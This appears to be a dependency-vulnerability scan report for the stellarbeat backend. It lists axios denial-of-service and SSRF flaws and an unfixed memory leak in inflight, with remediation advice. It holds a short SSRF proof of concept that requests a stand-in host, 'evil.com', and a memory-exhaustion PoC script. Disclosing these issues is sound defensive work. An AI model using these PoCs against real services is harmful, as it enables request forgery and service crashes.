Find, fix and prevent vulnerabilities in your code.
medium severity
new
- Vulnerable module: axios
- Introduced through: axios@1.7.7
Detailed paths
-
Introduced through: @stellarbeat/js-stellarbeat-backend@stellarbeat/js-stellarbeat-backend#f189235f7dee1ea139b0b5dff90e0c8f49280fd7 › axios@1.7.7
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the data:
URL handler. An attacker can trigger a denial of service by crafting a data:
URL with an excessive payload, causing allocation of memory for content decoding before verifying content size limits.
Remediation
A fix was pushed into the master
branch but not yet published.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@1.7.7
Detailed paths
-
Introduced through: @stellarbeat/js-stellarbeat-backend@stellarbeat/js-stellarbeat-backend#f189235f7dee1ea139b0b5dff90e0c8f49280fd7 › axios@1.7.7Remediation: Upgrade to axios@1.8.2.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls
attribute being ignored in the call to the buildFullPath
function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.
PoC
const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');
Remediation
Upgrade axios
to version 0.30.0, 1.8.2 or higher.
References
medium severity
- Vulnerable module: axios
- Introduced through: axios@1.7.7
Detailed paths
-
Introduced through: @stellarbeat/js-stellarbeat-backend@stellarbeat/js-stellarbeat-backend#f189235f7dee1ea139b0b5dff90e0c8f49280fd7 › axios@1.7.7Remediation: Upgrade to axios@1.8.3.
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls
to false
by default when processing a requested URL in buildFullPath()
. It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.
Remediation
Upgrade axios
to version 0.30.0, 1.8.3 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: typeorm@0.3.17
Detailed paths
-
Introduced through: @stellarbeat/js-stellarbeat-backend@stellarbeat/js-stellarbeat-backend#f189235f7dee1ea139b0b5dff90e0c8f49280fd7 › typeorm@0.3.17 › glob@8.1.0 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres
function due to improperly deleting keys from the reqs
object after execution of callbacks. This behavior causes the keys to remain in the reqs
object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node
process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight
.